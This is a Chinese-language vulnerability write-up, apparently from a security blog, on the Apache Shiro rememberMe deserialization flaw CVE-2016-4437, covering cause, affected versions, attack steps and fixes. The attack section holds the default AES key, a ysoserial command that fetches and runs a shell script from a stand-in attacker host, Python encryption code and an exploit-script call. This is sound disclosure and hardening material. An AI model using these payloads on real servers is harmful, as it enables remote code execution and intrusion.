漏洞概述
CVE-2016-4437是Apache Shiro框架中的一个高危远程代码执行(RCE)漏洞。该漏洞源于Shiro的rememberMe身份验证功能使用硬编码的AES加密密钥,导致攻击者能够构造恶意序列化对象并加密后发送至服务器。当服务器解密并反序列化该对象时,可能触发任意代码执行。
漏洞原理
- RememberMe功能机制:
Shiro的rememberMe功能通过Cookie(名为rememberMe)保持用户的持久登录状态。
Cookie值为用户信息的序列化数据,使用AES加密(CBC模式,PKCS5Padding)。
- 默认密钥的暴露:
Shiro的默认AES密钥为kPH+bIxk5D2deZiIxcaaaA==(Base64编码),硬编码在框架中。
若开发者未在配置中修改此密钥,攻击者可直接利用该密钥加密恶意Payload。
- 反序列化漏洞触发:
攻击者构造包含恶意Java对象的序列化数据,使用默认密钥加密后作为rememberMe Cookie发送。
Shiro服务端解密Cookie并反序列化数据,若环境中存在可利用的Gadget链(如Apache Commons Collections),则会执行任意代码。
影响范围
受影响版本:Apache Shiro ≤1.2.5
依赖条件:
使用默认rememberMe加密密钥。
目标应用的Classpath中存在可用的反序列化Gadget链(如commons-collections 3.1/4.0)。
攻击流程
- 获取或推测密钥:
若目标未修改密钥,直接使用kPH+bIxk5D2deZiIxcaaaA==。
若密钥被修改,需通过其他方式(如信息泄露、爆破)获取。
- 生成恶意Payload:
使用ysoserial生成Gadget链(如CommonsCollections2):
java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com/shell.sh | bash" > payload.bin
- 加密Payload:
使用Shiro的AES加密模式对Payload加密,生成rememberMe Cookie值
from Crypto.Cipher import AES import base64 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") cipher = AES.new(key, AES.MODE_CBC, IV=b'\x00'*16) encrypted = cipher.encrypt(payload_padded) rememberMe = base64.b64encode(encrypted).decode()
- 发送恶意请求:
将rememberMe Cookie附加到HTTP请求中:
python shiro_exploit.py -u http://target.com/login --check
- DNS外带验证:
生成触发DNS查询的Payload(利用URLDNS链):
java -jar ysoserial.jar URLDNS http://dnslog.cn > payload.bin
观察DNS日志是否收到查询记录。
- 修复方案升级Apache Shiro:
升级至≥1.2.6版本,官方移除了默认密钥强制要求。
- 自定义强密钥:
在shiro.ini或配置类中设置随机生成的密钥:
securityManager.rememberMeManager.cipherKey = base64:NEW_RANDOM_BASE64_KEY
- 禁用RememberMe功能(如无需使用):
在配置中关闭rememberMe:
@Bean public SecurityManager securityManager() { DefaultWebSecurityManager manager = new DefaultWebSecurityManager(); manager.setRememberMeManager(null); // 禁用 return manager; }
- 限制反序列化类:
使用ClassFilterResolver限制允许反序列化的类:
DefaultRememberMeManager rememberMeManager = new DefaultRememberMeManager(); rememberMeManager.setCipherKey(customKey); rememberMeManager.getCookie().setClassFilter(clazz -> allowedClasses.contains(clazz.getName()));
- 依赖库安全:
移除或升级存在Gadget链的库(如commons-collections升级至≥3.2.2或4.1)。
- 防御验证
密钥检查:
确认配置文件中无硬编码默认密钥,且密钥长度符合AES要求(如256位)。
渗透测试:
使用已知Payload尝试攻击,验证防御是否生效。
日志监控:
监控异常反序列化操作日志:
org.apache.shiro.io.SerializationException: Unable to deserialize argument byte array.
总结
CVE-2016-4437暴露了默认加密密钥和反序列化机制的风险组合。修复的核心在于使用自定义密钥、升级依赖库和限制反序列化操作。开发者应遵循最小权限原则,避免信任未经验证的输入,并定期进行安全审计。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)